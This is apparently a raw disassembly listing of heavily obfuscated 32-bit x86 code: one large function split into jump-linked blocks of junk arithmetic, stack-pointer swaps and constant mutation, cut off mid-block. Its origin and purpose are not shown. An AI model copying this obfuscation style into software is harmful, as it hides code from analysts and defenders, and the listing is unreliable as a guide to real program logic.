loc_5923BB:				; CODE XREF: sub_581EE9+2239Cj
		pop	eax
		sub	esp, 4
		jmp	loc_599BF1
; ---------------------------------------------------------------------------


loc_5923C7:				; CODE XREF: sub_581EE9+1FDC9j
		mov	ebp, 1AFC2090h
		xor	ebp, ecx
		pop	ecx
		jmp	loc_5A29C4
; ---------------------------------------------------------------------------


loc_5923D4:				; CODE XREF: sub_581EE9+22526j
		mov	edx, [esp-6EACh+arg_6EA4]
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		add	edi, 4
		jmp	loc_5989C3
; ---------------------------------------------------------------------------


loc_5923EE:				; CODE XREF: sub_581EE9+20403j
		sub	edi, esi
		pop	esi
		neg	edi
		jmp	loc_593EEE
; ---------------------------------------------------------------------------


loc_5923F8:				; CODE XREF: sub_581EE9+1A310j
		push	4ACDh
		mov	[esp-6EA8h+arg_6E9E+2],	edx
		jmp	loc_5A0385
; ---------------------------------------------------------------------------


loc_592405:				; CODE XREF: sub_581EE9+21BD9j
		add	ebp, 26D6694Ch
		not	ebp
		sub	ebp, 3C3E54BBh
		or	ebp, 2B9E5CCDh
		xor	ebp, 3BFB8A9Ch
		jmp	loc_5A3A43
; ---------------------------------------------------------------------------


loc_592424:				; CODE XREF: sub_581EE9+1E875j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp-6EA8h+arg_6E9E+2]
		mov	esp, [esp-6EA8h+arg_6E9E+2]
		mov	[esp-6EA8h+arg_6E9E+2],	edi
		mov	edi, 49261E0h
		add	ebx, edi
		jmp	loc_598151
; ---------------------------------------------------------------------------


loc_592445:				; CODE XREF: sub_581EE9+1170Fj
		mov	ecx, 224F283Ch
		xor	edx, ecx
		jmp	loc_59D041
; ---------------------------------------------------------------------------


loc_592451:				; CODE XREF: sub_581EE9+24DBEj
		not	ebx
		sub	ebx, 0B6699563h
		add	edi, 0C783BFEh
		sub	edi, 66940AEAh
		sub	edi, 32DD4BCCh
		jmp	loc_5961DE
; ---------------------------------------------------------------------------


loc_592470:				; CODE XREF: sub_581EE9+204BFj
		mov	[esp-6EA8h+arg_6E9E+2],	eax
		mov	eax, 0C03957h
		add	eax, 1
		not	eax
		push	edi
		mov	edi, 25FF3FBEh
		xor	edi, 76962398h
		not	edi
		xor	edi, 5D433E44h
		shl	edi, 4
		shl	edi, 7
		sub	edi, 77B0363Ah
		add	eax, edi
		jmp	loc_5A0922
; ---------------------------------------------------------------------------


loc_5924A4:				; CODE XREF: sub_581EE9+16F7Bj
		pop	ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5A2D74
; ---------------------------------------------------------------------------


loc_5924B6:				; CODE XREF: sub_581EE9+178C4j
		push	ebx
		mov	ebx, 4
		add	[esp-6EA0h+arg_6E9A+2],	ebx
		pop	ebx
		mov	esi, [esp-6EA4h+arg_6E9A+2]
		add	esp, 4
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		push	350Ch
		mov	[esp-6EA4h+arg_6E9A+2],	eax
		jmp	loc_5A4F12
; ---------------------------------------------------------------------------


loc_5924E0:				; CODE XREF: sub_581EE9+19104j
		mov	edx, esp
		add	edx, 4
		jmp	loc_594E16
; ---------------------------------------------------------------------------


loc_5924ED:				; CODE XREF: sub_581EE9+115F2j
		xor	ebx, 0A8A042Bh
		jmp	loc_59CBEB
; ---------------------------------------------------------------------------


loc_5924F8:				; CODE XREF: sub_581EE9+106D5j
		add	esi, 4838023Ah
		jmp	loc_59EBFD
; ---------------------------------------------------------------------------


loc_592503:				; CODE XREF: sub_581EE9+2245Cj
		mov	edi, 10BA7C85h
		add	edi, 52ED10A5h
		jmp	loc_59B8AC
; ---------------------------------------------------------------------------


loc_592513:				; CODE XREF: sub_581EE9+241FDj
		add	[esp-6EA4h+arg_6E9A+2],	4
		jmp	loc_5A1D72
; ---------------------------------------------------------------------------


loc_59251C:				; CODE XREF: sub_581EE9+18D53j
		xor	eax, [esp-6EA4h+arg_6E9A+2]
		mov	esp, [esp-6EA4h+arg_6E9A+2]
		or	ch, 41h
		and	ch, 6Bh
		jmp	loc_59C111
; ---------------------------------------------------------------------------


loc_59252D:				; CODE XREF: sub_581EE9+11BACj
		mov	eax, esp
		add	eax, 4
		jmp	loc_5A5369
; ---------------------------------------------------------------------------


loc_592539:				; CODE XREF: sub_581EE9+1C4C5j
		add	eax, edi
		pop	edi
		xor	eax, [esp-6EA8h+arg_6E9E+2]
		xor	[esp-6EA8h+arg_6E9E+2],	eax
		xor	eax, [esp-6EA8h+arg_6E9E+2]
		pop	esp
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59254B:				; CODE XREF: sub_581EE9+1C8D1j
		add	esp, 4
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_592553:				; CODE XREF: sub_581EE9+1A423j
		add	esp, 4
		not	eax
		push	edx
		mov	edx, 5B5C6613h
		shr	edx, 7
		or	edx, 672302A2h
		add	edx, 0FFFFFFFFh
		jmp	loc_5A387A
; ---------------------------------------------------------------------------


loc_592572:				; CODE XREF: sub_581EE9+239C0j
		mov	edi, 4
		add	edx, edi
		pop	edi
		jmp	loc_5A14AA
; ---------------------------------------------------------------------------


loc_59257F:				; CODE XREF: sub_581EE9+20070j
		push	16990D64h
		pop	ebp
		push	edx
		push	2928h
		mov	[esp-6EACh+arg_6EA4], eax
		mov	eax, 7C5902AAh
		jmp	loc_59F3A6
; ---------------------------------------------------------------------------


loc_592598:				; CODE XREF: sub_581EE9+1E0F2j
		mov	esi, 0AFDC365Ch
		jmp	loc_59A84B
; ---------------------------------------------------------------------------


loc_5925A2:				; CODE XREF: sub_581EE9+15AC1j
		and	eax, 3B5232D4h
		xor	eax, 5F39397Fh
		jmp	loc_59D227
; ---------------------------------------------------------------------------


loc_5925B1:				; CODE XREF: sub_581EE9+13951j
		and	esi, 688612D7h
		shl	esi, 5
		inc	esi
		shr	esi, 6
		jmp	loc_5924F8
; ---------------------------------------------------------------------------


loc_5925C3:				; CODE XREF: sub_581EE9+11350j
		mov	esp, [esp]
		mov	word ptr [esp-6EACh+arg_6EA4], ax
		jmp	loc_5952BB
; ---------------------------------------------------------------------------


loc_5925CF:				; CODE XREF: sub_581EE9+1BC3Cj
		mov	edx, esp
		jmp	loc_5A30CF
; ---------------------------------------------------------------------------


loc_5925D6:				; CODE XREF: sub_581EE9+24870j
		push	ebp
		mov	ebp, 6566156Fh
		add	ebp, 73185B6Fh
		jmp	loc_592928
; ---------------------------------------------------------------------------


loc_5925E7:				; CODE XREF: sub_581EE9+1B383j
		pop	ebx
		jmp	loc_594FF7
; ---------------------------------------------------------------------------


loc_5925ED:				; CODE XREF: sub_581EE9+1E0A4j
		mov	[esp-6EACh+arg_6EA4], eax
		push	esp
		pop	eax
		jmp	loc_59B74F
; ---------------------------------------------------------------------------


loc_5925F7:				; CODE XREF: sub_581EE9+1FCDDj
		pop	ebx
		or	edx, 6E92C73h
		jmp	loc_599667
; ---------------------------------------------------------------------------


loc_592603:				; CODE XREF: sub_581EE9+108BBj
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_592608:				; CODE XREF: sub_581EE9+2359Fj
		sub	edi, 4FE763AEh
		or	edi, 7FE642F4h
		jmp	loc_5A5EE3
; ---------------------------------------------------------------------------


loc_592619:				; CODE XREF: sub_581EE9+1B840j
		add	esp, 4
		add	ebx, edi
		mov	edi, [esp-6EB4h+arg_6EAC]
		add	esp, 4
		xchg	ebx, [esp+0]
		jmp	loc_5A6EF0
; ---------------------------------------------------------------------------


loc_59262F:				; CODE XREF: sub_581EE9+1FB43j
		add	esp, 4
		xor	ebx, eax
		push	29C3h
		mov	[esp+0], eax
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_592641:				; CODE XREF: sub_581EE9+2398Cj
		sub	ebx, ecx
		pop	ecx
		push	esi
		mov	esi, 4E432ABAh
		jmp	loc_5A6FA9
; ---------------------------------------------------------------------------


loc_59264F:				; CODE XREF: sub_581EE9+149F3j
		add	edi, 403A0E9Bh
		push	eax
		mov	eax, 0A251DB3h
		or	edi, eax
		pop	eax
		neg	edi
		xor	edi, 0A752A06Eh
		sub	eax, edi
		jmp	loc_5A53BD
; ---------------------------------------------------------------------------


loc_59266D:				; CODE XREF: sub_581EE9+1E4E5j
		push	eax
		not	[esp-6EB4h+arg_6EAC]
		pop	eax
		xor	eax, 1B2C7153h
		add	eax, ebx
		xor	[eax], ecx
		pop	eax
		jmp	loc_59D765
; ---------------------------------------------------------------------------
		xor	[esp-6EBCh+arg_6EB2+2],	eax
		xor	eax, [esp-6EBCh+arg_6EB2+2]
		xor	[esp-6EBCh+arg_6EB2+2],	eax
		push	0FE1h
		mov	[esp+0], eax
		not	dword ptr [esp+0]
		mov	eax, [esp+0]
		add	esp, 4
		push	48E9h
		mov	[esp+0], eax
		push	[esp-6EB8h+arg_6EB2+2]
		push	[esp-6EB4h+arg_6EAC]
		push	dword ptr [esp]
		jmp	loc_5A4C6C
; ---------------------------------------------------------------------------
		push	0BFDh
		jmp	loc_598F0D
; ---------------------------------------------------------------------------


loc_5926BC:				; CODE XREF: sub_581EE9+19896j
		push	[esp-6EA8h+arg_6E9E+2]
		pop	ecx
		add	esp, 4
		mov	dl, byte ptr [esp-6EACh+arg_6EA8]
		mov	byte ptr [esp-6EACh+arg_6EA8], ah
		mov	eax, [esp-6EACh+arg_6EA4]
		add	esp, 4
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_5926D6:				; CODE XREF: sub_581EE9+250CAj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-6EB0h+arg_6EA8]
		mov	esp, [esp-6EB0h+arg_6EA8]
		push	[esp-6EB0h+arg_6EA8]
		mov	eax, [esp-6EACh+arg_6EA4]
		push	66D2h
		mov	[esp-6EA8h+arg_6E9E+2],	edi
		push	esp
		jmp	loc_5A4C38
; ---------------------------------------------------------------------------


loc_5926FE:				; CODE XREF: sub_581EE9+185ECj
		sub	[esp-6EA4h+arg_6E9E+2],	ebp
		sub	[esp-6EA4h+arg_6E9E+2],	0BBA58DDh
		jmp	loc_5A1C65
; ---------------------------------------------------------------------------


loc_59270F:				; CODE XREF: sub_581EE9+2132Bj
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_592714:				; CODE XREF: sub_581EE9+230D9j
		popa
		jmp	loc_5A3E94
; ---------------------------------------------------------------------------


loc_59271A:				; CODE XREF: sub_581EE9+207FAj
		add	ebp, 0F6BC05CCh
		jmp	loc_5A44A8
; ---------------------------------------------------------------------------


loc_592725:				; CODE XREF: sub_581EE9+1E27Ej
		sub	ebp, edi
		pop	edi
		shr	ebp, 3
		neg	ebp
		sub	ebp, 0EDD7D9CCh
		xor	edx, ebp
		jmp	loc_59D75D
; ---------------------------------------------------------------------------


loc_59273A:				; CODE XREF: sub_581EE9+1165Dj
		add	ecx, 4
		push	edx
		jmp	loc_59CC0A
; ---------------------------------------------------------------------------


loc_592746:				; CODE XREF: sub_581EE9+17634j
		sub	esp, 4
		mov	[esp-6EC0h+arg_6EB6+2],	edx
		push	esi
		mov	esi, 49E50044h
		mov	edx, 70C40F21h
		sub	edx, esi
		pop	esi
		xor	ebx, edx
		jmp	loc_59823A
; ---------------------------------------------------------------------------


loc_592764:				; CODE XREF: sub_581EE9+228BAj
		xor	bh, 14h
		jmp	loc_5A1D85
; ---------------------------------------------------------------------------


loc_59276C:				; CODE XREF: sub_581EE9+1FA7Bj
		add	[esp-6EC0h+arg_6EB6+2],	4
		mov	edx, [esp-6EC0h+arg_6EB6+2]
		jmp	loc_59AE1D
; ---------------------------------------------------------------------------


loc_59277B:				; CODE XREF: sub_581EE9+1C80Bj
		mov	ebx, 69E82818h
		xor	[esp-6EC0h+arg_6EBA+2],	ebx
		pop	ebx
		push	[esp-6EC4h+arg_6EBA+2]
		pop	eax
		sub	esp, 4
		jmp	loc_59DDD4
; ---------------------------------------------------------------------------


loc_592794:				; CODE XREF: sub_581EE9+19249j
		mov	ebp, 5CD803F6h
		jmp	loc_59FA3A
; ---------------------------------------------------------------------------


loc_59279E:				; CODE XREF: sub_581EE9+237D0j
		bt	word ptr [esp-6EC0h+arg_6EB6+2], ax
		pushf
		jmp	loc_592603
; ---------------------------------------------------------------------------


loc_5927A9:				; CODE XREF: sub_581EE9+189D9j
		mov	edx, 55C71567h
		sub	esp, 4
		mov	[esp+0], edi
		push	eax
		mov	eax, 56B67017h
		mov	edi, 2E0E578Bh
		jmp	loc_59961E
; ---------------------------------------------------------------------------


loc_5927C4:				; CODE XREF: sub_581EE9+1CCE5j
		pop	esp
		mov	[esp+0], ebx
		push	edx
		mov	edx, 4D41500Dh
		mov	ebx, 0B2BEAFF5h
		jmp	loc_59DF6A
; ---------------------------------------------------------------------------


loc_5927D8:				; CODE XREF: sub_581EE9+1F31Dj
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		push	eax
		jmp	loc_594697
; ---------------------------------------------------------------------------


loc_5927E7:				; CODE XREF: sub_581EE9+170B8j
		add	edi, esi
		pop	esi
		xor	edi, [esp-6EB4h+arg_6EAC]
		jmp	loc_59C41F
; ---------------------------------------------------------------------------


loc_5927F2:				; CODE XREF: sub_581EE9+11006j
		xor	ebx, ecx
		pop	ecx
		and	ebx, 37CB6B6Ah
		add	ebx, 207151BFh
		and	edi, ebx
		pop	ebx
		push	ebx
		jmp	loc_5A4917
; ---------------------------------------------------------------------------


loc_59280A:				; CODE XREF: sub_581EE9+1F827j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		pop	[esp-6EBCh+arg_6EB2+2]
		mov	esp, [esp-6EC0h+arg_6EB6+2]
		mov	word ptr [esp-6EC0h+arg_6EB6+2], cx
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_592826:				; CODE XREF: sub_581EE9+24C5Aj
		add	esp, 4
		jmp	loc_5A6A41
; ---------------------------------------------------------------------------


loc_592831:				; CODE XREF: sub_581EE9+2005Fj
		sub	ebx, 1C2F7459h
		mov	eax, [esp-6EC4h+arg_6EBA+2]
		push	ebx
		push	esp
		pop	ebx
		push	esi
		mov	esi, 5F9D206Eh
		jmp	loc_5A5BCB
; ---------------------------------------------------------------------------


loc_592848:				; CODE XREF: sub_581EE9+1D10Cj
		sub	eax, 3BABB3E6h
		jmp	loc_599E97
; ---------------------------------------------------------------------------


loc_592852:				; CODE XREF: sub_581EE9+198A1j
		mov	si, dx
		pop	edx
		jmp	loc_59DA59
; ---------------------------------------------------------------------------


loc_59285B:				; CODE XREF: sub_581EE9+169DBj
		add	esp, 4
		add	edi, 4
		add	edi, 4
		push	edi
		jmp	loc_597B1A
; ---------------------------------------------------------------------------


loc_59286D:				; CODE XREF: sub_581EE9+23AFCj
		mov	edx, 5DCA4FC3h
		jmp	loc_5966CC
; ---------------------------------------------------------------------------


loc_592877:				; CODE XREF: sub_581EE9+235FAj
		pop	esp
		mov	[esp-6EC4h+arg_6EBA+2],	esp
		add	[esp-6EC4h+arg_6EBA+2],	4
		mov	esi, [esp-6EC4h+arg_6EBA+2]
		jmp	loc_5953DE
; ---------------------------------------------------------------------------


loc_592887:				; CODE XREF: sub_581EE9+1BE19j
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_59288C:				; CODE XREF: sub_581EE9+17226j
		push	ecx
		push	ebx
		mov	ebx, 264B0D0Dh
		mov	ecx, 264B0D11h
		sub	ecx, ebx
		pop	ebx
		sub	edi, 45B0534Dh
		add	edi, ecx
		add	edi, 45B0534Dh
		jmp	loc_5A62A0
; ---------------------------------------------------------------------------


loc_5928AE:				; CODE XREF: sub_581EE9+1A760j
		sub	eax, edi
		pop	edi
		xor	eax, [esp-6EC4h+arg_6EBA+2]
		jmp	loc_5A0023
; ---------------------------------------------------------------------------


loc_5928B9:				; CODE XREF: sub_581EE9+12DD6j
		xchg	edi, [esp-6EC4h+arg_6EBA+2]
		pop	esp
		mov	[esp-6EC8h+arg_6EBE+2],	edx
		push	esp
		mov	edx, [esp-6EC4h+arg_6EBA+2]
		jmp	loc_59418E
; ---------------------------------------------------------------------------


loc_5928C9:				; CODE XREF: sub_581EE9+1AD38j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5A0DEF
; ---------------------------------------------------------------------------


loc_5928D6:				; CODE XREF: sub_581EE9+2167Cj
		push	edx
		mov	edx, 9F55950h
		add	[esp-6EC0h+arg_6EBE+2],	edx
		pop	edx
		sub	[esp-6EC4h+arg_6EBE+2],	ecx
		sub	[esp-6EC4h+arg_6EBE+2],	9F55950h
		jmp	loc_5A1EDE
; ---------------------------------------------------------------------------


loc_5928F2:				; CODE XREF: sub_581EE9+1017Dj
		push	ecx
		mov	cl, 0C6h
		add	cl, 52h
		not	cl
		dec	cl
		jmp	loc_59F668
; ---------------------------------------------------------------------------


loc_592901:				; CODE XREF: sub_581EE9+1AA49j
		pop	ecx
		sub	ecx, 6A817C55h
		mov	eax, [esp-6EA2h+arg_6E9A]
		jmp	loc_5A38AC
; ---------------------------------------------------------------------------


loc_592910:				; CODE XREF: sub_581EE9+1224Fj
		sub	ecx, 0E7A79D21h
		sub	esi, ecx
		pop	ecx
		add	esi, 2D5987B0h
		mov	[edi+24h], esi
		pop	esi
		jmp	loc_5A0C03
; ---------------------------------------------------------------------------


loc_592928:				; CODE XREF: sub_581EE9+106F9j
		add	ebp, 527938BEh
		dec	ebp
		sub	ebp, 0CB507780h
		push	edx
		mov	edx, 8662592h
		dec	edx
		add	edx, 4CD41415h
		jmp	loc_5A4019
; ---------------------------------------------------------------------------


loc_592947:				; CODE XREF: sub_581EE9+17D7Fj
		mov	ecx, 37A21970h
		xor	edx, ecx
		pop	ecx
		xor	ebp, edx
		pop	edx
		sub	eax, 16E4752h
		sub	eax, ebp
		push	esi
		mov	esi, 7A204615h
		neg	esi
		sub	esi, 84717299h
		add	eax, 0A0E777Ch
		jmp	loc_59209B
; ---------------------------------------------------------------------------


loc_592971:				; CODE XREF: sub_581EE9+1F9B5j
		pop	ecx
		add	ebx, eax
		pop	eax
		sub	esp, 4
		mov	[esp-6EACh+arg_6EA4], edi
		push	esi
		push	11F620AFh
		jmp	loc_596248
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp-6EA6h+arg_6E9E], cl
		pushf
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_592999:				; CODE XREF: sub_581EE9+20649j
		or	edx, eax
		jmp	loc_5993BD
; ---------------------------------------------------------------------------


loc_5929A0:				; CODE XREF: sub_581EE9+17B2Bj
		mov	esp, [esp-6EA2h+arg_6E9A]
		mov	[esp-6EA2h+arg_6E9A], ecx
		not	byte ptr [esp-6EA2h+arg_6E9A]
		pop	ecx
		or	cl, 0A1h
		add	cl, 0C1h
		sub	al, cl
		jmp	loc_5A6B0D
; ---------------------------------------------------------------------------


loc_5929B7:				; CODE XREF: sub_581EE9+1D6F3j
		pop	[esp-6EA6h+arg_6E9E]
		add	dword ptr [esp-6EAAh+arg_6EA2],	4
		mov	eax, dword ptr [esp-6EAAh+arg_6EA2]
		jmp	loc_598D52
; ---------------------------------------------------------------------------


loc_5929C9:				; CODE XREF: sub_581EE9+1169Cj
		add	edi, 4
		jmp	loc_5A39FD
; ---------------------------------------------------------------------------


loc_5929D4:				; CODE XREF: sub_581EE9+1CDF9j
		push	dword ptr [esp-6EAAh+arg_6EA2]
		pop	ebx
		sub	esp, 4
		mov	[esp-6EA6h+arg_6E9E], ebp
		mov	ebp, esp
		push	esi
		sub	esp, 4
		mov	[esp-6E9Eh+arg_6E96], ebx
		push	eax
		jmp	loc_5A5A78
; ---------------------------------------------------------------------------


loc_5929ED:				; CODE XREF: sub_581EE9+101A2j
		push	[esp-6EA2h+arg_6E9A]
		pop	esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-6E9Eh+arg_6E96]
		mov	esp, [esp-6E9Eh+arg_6E96]
		push	418Dh
		mov	[esp-6E9Ah+arg_6E92], edx
		jmp	loc_5A262C
; ---------------------------------------------------------------------------


loc_592A10:				; CODE XREF: sub_581EE9+19DB3j
		pop	esp
		jmp	loc_59F86F
; ---------------------------------------------------------------------------


loc_592A16:				; CODE XREF: sub_581EE9+22D29j
		add	ecx, edi
		pop	edi
		add	ecx, 3F0536F8h
		mov	ebx, [esp-6EA2h+arg_6E9A]
		add	esp, 4
		push	7A6Eh
		mov	[esp-6EA2h+arg_6E9A], eax
		jmp	loc_597704
; ---------------------------------------------------------------------------


loc_592A32:				; CODE XREF: sub_581EE9+1714Bj
		add	eax, 4
		xchg	eax, [esp-6EA2h+arg_6E9A]
		pop	esp
		push	edi
		mov	edi, 4
		sub	ebx, edi
		mov	edi, [esp-6EA2h+arg_6E9A]
		jmp	loc_59BFC5
; ---------------------------------------------------------------------------


loc_592A4B:				; CODE XREF: sub_581EE9+2305Cj
		add	edi, ecx
		jmp	loc_59BCF7
; ---------------------------------------------------------------------------


loc_592A52:				; CODE XREF: sub_581EE9+1F352j
		xor	[esp-6EA2h+arg_6E9A], 72274A96h
		pop	edx
		xor	edx, 72274A96h
		mov	ebp, [esp-6EA6h+arg_6E9E]
		add	esp, 4
		jmp	loc_593ACC
; ---------------------------------------------------------------------------


loc_592A6E:				; CODE XREF: sub_581EE9+18DDEj
		xor	edi, 480C2517h
		xor	edi, 54341265h
		xor	esi, edi
		pop	edi
		add	edi, esi
		pop	esi
		jmp	loc_59A69F
; ---------------------------------------------------------------------------


loc_592A85:				; CODE XREF: sub_581EE9+1691Ej
		push	466Bh
		mov	[esp-6EAEh+arg_6EA4+2],	esi
		push	edi
		mov	edi, 52917959h
		jmp	loc_59F942
; ---------------------------------------------------------------------------


loc_592A98:				; CODE XREF: sub_581EE9+1CB25j
		sub	ebx, 0CA4743h
		sub	edi, ebx
		pop	ebx
		sub	esp, 4
		mov	dword ptr [esp-6EAAh+arg_6EA2],	edi
		push	[esp-6EAAh+arg_6EA4+2]
		push	[esp-6EA6h+arg_6E9E]
		pop	edi
		jmp	loc_59A100
; ---------------------------------------------------------------------------


loc_592AB7:				; CODE XREF: sub_581EE9+20F47j
		add	ebp, 0FCC1B710h
		add	edx, 27894786h
		add	edx, ebp
		sub	edx, 27894786h
		pop	ebp
		xor	edx, 5B2A1B42h
		push	ecx
		mov	ecx, edx
		jmp	loc_596419
; ---------------------------------------------------------------------------


loc_592ADA:				; CODE XREF: sub_581EE9+20783j
		mov	[esp-6EA6h+arg_6E9E], edx
		push	ebx
		mov	bh, 3Ch
		jmp	loc_5A37DD
; ---------------------------------------------------------------------------


loc_592AE5:				; CODE XREF: sub_581EE9+129C5j
		xor	esi, [esp-6EA2h+arg_6E9A]
		xor	[esp-6EA2h+arg_6E9A], esi
		jmp	loc_5A3E9B
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6EA2h+arg_6E9A]
		jmp	loc_5A3DE5
; ---------------------------------------------------------------------------


loc_592AF9:				; CODE XREF: sub_581EE9+1901Cj
		mov	cx, 2D4Ah
		add	ax, cx
		pop	cx
		sub	ax, 3F9Bh
		sub	esp, 4
		jmp	loc_5A3219
; ---------------------------------------------------------------------------


loc_592B0E:				; CODE XREF: sub_581EE9+1F93Cj
		push	5C44h
		mov	[esp-6E9Ch+arg_6E92+2],	edx
		push	small 516Eh
		mov	word ptr [esp-6E9Ah+arg_6E92], cx
		push	eax
		push	edx
		mov	dh, 51h
		shr	dh, 3
		or	dh, 3Bh
		jmp	loc_59CFB8
; ---------------------------------------------------------------------------


loc_592B2D:				; CODE XREF: sub_581EE9+139ACj
		pop	edx
		mov	eax, [esp-6E96h+arg_6E8E]
		add	esp, 4
		xchg	bh, byte ptr [esp-6E9Ah+arg_6E92]
		mov	dx, word ptr [esp-6E9Ah+arg_6E92]
		add	esp, 2
		push	562Fh
		mov	[esp-6E9Ah+arg_6E92], eax
		sub	esp, 4
		mov	[esp-6E96h+arg_6E8E], ecx
		push	eax
		jmp	loc_59B778
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6E92h+arg_6E8A]
		push	29BDh
		mov	[esp-6E8Eh+arg_6E84+2],	ebx
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 58897261h
		dec	edx
		xor	edx, 5EF52FF7h
		sub	edx, 67C5D93h
		add	edi, edx
		pop	edx
		sub	edi, 4
		xchg	edi, [esp-6E8Ah+arg_6E80+2]
		mov	esp, [esp-6E8Ah+arg_6E80+2]
		push	esp
		pop	[esp-6E86h+arg_6E7C+2]
		push	eax
		push	esi
		mov	esi, 13E104B7h
		and	esi, 55B23A03h
		sub	esi, 508C6A2Fh
		add	esi, 3EEC6A30h
		mov	eax, esi
		push	dword ptr [esp-6E82h+arg_6E7A]
		pop	esi
		add	esp, 4
		add	[esp-6E86h+arg_6E80+2],	eax
		mov	eax, [esp-6E86h+arg_6E7C+2]
		add	esp, 4
		push	[esp-6E8Ah+arg_6E80+2]
		push	[esp-6E86h+arg_6E7C+2]
		pop	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, dword ptr [esp-6E82h+arg_6E7A]
		pop	esp
		push	esi
		jmp	loc_59BA76
; ---------------------------------------------------------------------------


loc_592BDC:				; CODE XREF: sub_581EE9+1CD8Aj
		add	esp, 4
		xchg	edi, [esp-6E86h+arg_6E7C+2]
		mov	esp, [esp-6E86h+arg_6E7C+2]
		shl	eax, cl
		push	1C6Ch
		jmp	loc_5A43BE
; ---------------------------------------------------------------------------


loc_592BF4:				; CODE XREF: sub_581EE9+18D44j
		sub	edx, 33B13029h
		jmp	loc_5A42FE
; ---------------------------------------------------------------------------


loc_592BFF:				; CODE XREF: sub_581EE9+21065j
		push	esi
		jmp	loc_5995C7
; ---------------------------------------------------------------------------


loc_592C05:				; CODE XREF: sub_581EE9+1F6B5j
		push	ecx
		mov	ch, 5
		jmp	loc_5A1786
; ---------------------------------------------------------------------------


loc_592C0D:				; CODE XREF: sub_581EE9+1B3F8j
		not	edx
		push	edi
		mov	edi, 54EA9A53h
		sub	edx, edi
		pop	edi
		sub	ebp, edx
		pop	edx
		push	eax
		jmp	loc_598CA1
; ---------------------------------------------------------------------------


loc_592C21:				; CODE XREF: sub_581EE9+1BA39j
		pop	esp
		add	esp, 4
		push	44E8h
		jmp	loc_594E60
; ---------------------------------------------------------------------------


loc_592C2F:				; CODE XREF: sub_581EE9+166DAj
		pop	ecx
		xor	esi, dword ptr [esp-6E82h+arg_6E7A]
		jmp	loc_59BFCD
; ---------------------------------------------------------------------------


loc_592C38:				; CODE XREF: sub_581EE9+13102j
		push	dword ptr [esp-6E82h+arg_6E7A]
		mov	edx, [esp-6E7Eh+arg_6E76]
		jmp	loc_59F5A7
; ---------------------------------------------------------------------------


loc_592C43:				; CODE XREF: sub_581EE9+20766j
		pop	edx
		pop	dword ptr [esp-6E82h+arg_6E7A]
		mov	esp, [esp-6E86h+arg_6E7C+2]
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_592C4F:				; CODE XREF: sub_581EE9+15434j
		push	ebx
		mov	ebx, esp
		push	69C7h
		jmp	loc_59F22A
; ---------------------------------------------------------------------------


loc_592C5C:				; CODE XREF: sub_581EE9+12DDFj
		mov	[esp-6E7Eh+arg_6E76], eax
		jmp	loc_5A2B85
; ---------------------------------------------------------------------------


loc_592C64:				; CODE XREF: sub_581EE9+20A89j
		mov	eax, 50A41991h
		shr	eax, 6
		sub	eax, 8C13765h
		and	eax, 3DA875BFh
		jmp	loc_59F69F
; ---------------------------------------------------------------------------


loc_592C7B:				; CODE XREF: sub_581EE9+235D5j
		jmp	loc_591F70
; ---------------------------------------------------------------------------


loc_592C80:				; CODE XREF: sub_581EE9+11F65j
		mov	edx, 7D0A3C58h
		not	edx
		push	ebp
		jmp	loc_5972DA
; ---------------------------------------------------------------------------


loc_592C8D:				; CODE XREF: sub_581EE9+1F533j
		add	dword ptr [esp], 4
		pop	edx
		push	edi
		mov	edi, 4BC31FE2h
		sub	edi, 2D4B1629h
		jmp	loc_5A4D0D
; ---------------------------------------------------------------------------


loc_592CA3:				; CODE XREF: sub_581EE9+1B522j
		sub	ecx, 0FAE7F912h
		mov	edi, ecx
		pop	ecx
		sub	edi, 0BD44EC3h
		add	eax, edi
		pop	edi
		push	ecx
		mov	ecx, 4
		sub	esp, 4
		mov	[esp-6E7Ah+arg_6E72], edi
		mov	edi, 0DD926B3h
		sub	eax, 0DC939BFh
		jmp	loc_59897C
; ---------------------------------------------------------------------------


loc_592CD0:				; CODE XREF: sub_581EE9+19C19j
		add	ebx, 4
		sub	esp, 4
		mov	[esp-6E76h+arg_6E6E], ebp
		jmp	loc_598861
; ---------------------------------------------------------------------------


loc_592CE1:				; CODE XREF: sub_581EE9+21A99j
		mov	eax, 4
		add	esi, eax
		pop	eax
		sub	esp, 4
		mov	[esp-6E76h+arg_6E6E], edx
		mov	edx, 3F910A69h
		not	edx
		shr	edx, 1
		and	edx, 537C0F28h
		jmp	loc_59E815
; ---------------------------------------------------------------------------


loc_592D06:				; CODE XREF: sub_581EE9+15C44j
		mov	edi, esp
		add	edi, 4
		push	0EEDh
		mov	[esp-6E72h+arg_6E68+2],	esi
		jmp	loc_5A55CF
; ---------------------------------------------------------------------------


loc_592D1B:				; CODE XREF: sub_581EE9+120FEj
		push	edx
		mov	edx, 4
		add	ebx, edx
		push	[esp-6E6Eh+arg_6E64+2]
		pop	edx
		sub	esp, 4
		mov	[esp-6E6Ah+arg_6E60+2],	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-6E6Ah+arg_6E60+2]
		pop	esp
		push	ecx
		mov	ecx, 4
